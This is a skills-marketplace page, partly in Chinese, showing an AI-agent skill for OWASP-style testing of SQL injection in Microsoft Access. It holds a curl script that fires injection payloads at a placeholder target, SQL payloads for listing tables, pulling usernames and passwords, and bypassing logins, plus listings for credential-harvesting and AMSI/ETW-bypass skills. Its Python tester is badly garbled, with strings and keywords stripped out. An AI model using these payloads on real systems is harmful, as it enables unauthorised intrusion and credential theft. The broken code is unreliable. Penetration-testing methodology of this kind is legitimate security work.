用 Codex 或 Claude 帮你安装 复制这段 Prompt,粘贴到 Codex、Claude 或其他助手里,让它检查 Skill 页面并帮你完成安装。
直接命令不会经过审查 Prompt;运行前请先检查来源。
npx skills add https://github.com/CyberStrikeus/CyberStrike --skill wstg-inpv-05-5命令会保持在同一行。复制前请横向滚动并检查完整内容。
想先保存到本地?可下载 SkillsMP 当前能够提供的文件。
macOS post-exploitation for credential harvesting, DTrace monitoring, TCC bypass, and stealth operations via native tools
Windows userland post-exploitation for credential harvesting, monitoring, AMSI/ETW bypass, and stealth operations
Kubernetes post-exploitation for container escape, secret extraction, RBAC abuse, and cluster persistence
基于 SOC 职业分类
正在显示 SKILL.md
| name | wstg-inpv-05.5 |
| description | Testing for SQL Injection - MS Access |
| category | input-validation |
| owasp_id | WSTG-INPV-05.5 |
| version | 1.0.0 |
| author | cyberstrike-official |
| tags | ["injection","input-validation","xss","sqli","wstg","inpv"] |
| tech_stack | [] |
| cwe_ids | [] |
| chains_with | [] |
| prerequisites | [] |
| severity_boost | {} |
WSTG-INPV-05.5
Testing for SQL Injection - MS Access
Microsoft Access SQL injection testing targets Access databases (Jet/ACE engine) often used in legacy or small-scale web applications. Access has limited features compared to enterprise databases but can still be exploited for data extraction and authentication bypass.
#!/bin/bash
TARGET="https://target.com/product?id="
echo "[*] Testing for MS Access database..."
# Error-based detection
curl -s "${TARGET}'" | grep -iE "Microsoft Access|JET Database|ODBC Microsoft Access|\.mdb"
# Access-specific syntax test
curl -s "${TARGET}' AND IIF(1=1,1,0)=1--"
# TOP keyword (Access uses TOP not LIMIT)
curl -s "${TARGET}' UNION SELECT TOP 1 NULL--"
#!/usr/bin/env python3
"""
MS Access SQL Injection Tester
"""
import requests
import re
class AccessSQLiTester:
def __init__(self, url):
self.url = url
self.findings = []
.session = requests.Session()
ACCESS_ERRORS = [
,
,
,
,
,
,
,
,
]
ACCESS_PAYLOADS = {
: [
,
,
],
: [
,
,
,
],
: [
(, ),
(, ),
],
: [
,
],
}
():
()
payload .ACCESS_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
pattern .ACCESS_ERRORS:
re.search(pattern, response.text, re.IGNORECASE):
()
Exception e:
():
()
payload .ACCESS_PAYLOADS[]:
:
response = .session.get(.url, params={param: payload})
response.status_code == :
has_error =
pattern .ACCESS_ERRORS:
re.search(pattern, response.text):
has_error =
has_error:
()
.findings.append({
: ,
: payload,
:
})
Exception e:
():
.detect_access(param):
.test_union_based(param)
.generate_report()
():
( + *)
()
(*)
.findings:
()
:
f .findings:
()
tester = AccessSQLiTester()
tester.run_tests(param=)
-- List Tables (requires access to system tables)
SELECT Name FROM MSysObjects WHERE Type=1
-- Extract Data
' UNION SELECT TOP 1 username,password,NULL FROM users--
-- Authentication Bypass
' OR '1'='1
admin'--
-- IIF conditional
' AND IIF((SELECT TOP 1 username FROM users)='admin',1,0)=1--
-- Note: Access has limited functionality
-- No stacked queries
-- No sleep function
-- No file operations
' VBScript/ASP - Parameterized queries
Dim cmd
Set cmd = Server.CreateObject("ADODB.Command")
cmd.ActiveConnection = conn
cmd.CommandText = "SELECT * FROM users WHERE id = ?"
cmd.Parameters.Append cmd.CreateParameter("id", 3, 1, , userId)
Set rs = cmd.Execute()
| Finding | CVSS | Severity |
|---|---|---|
| MS Access SQLi data extraction | 7.5 | High |
| MS Access auth bypass | 8.1 | High |
| CWE ID | Title |
|---|---|
| CWE-89 | SQL Injection |
[ ] MS Access database detected
[ ] UNION-based injection tested
[ ] Boolean-based injection tested
[ ] System tables accessed
[ ] Findings documented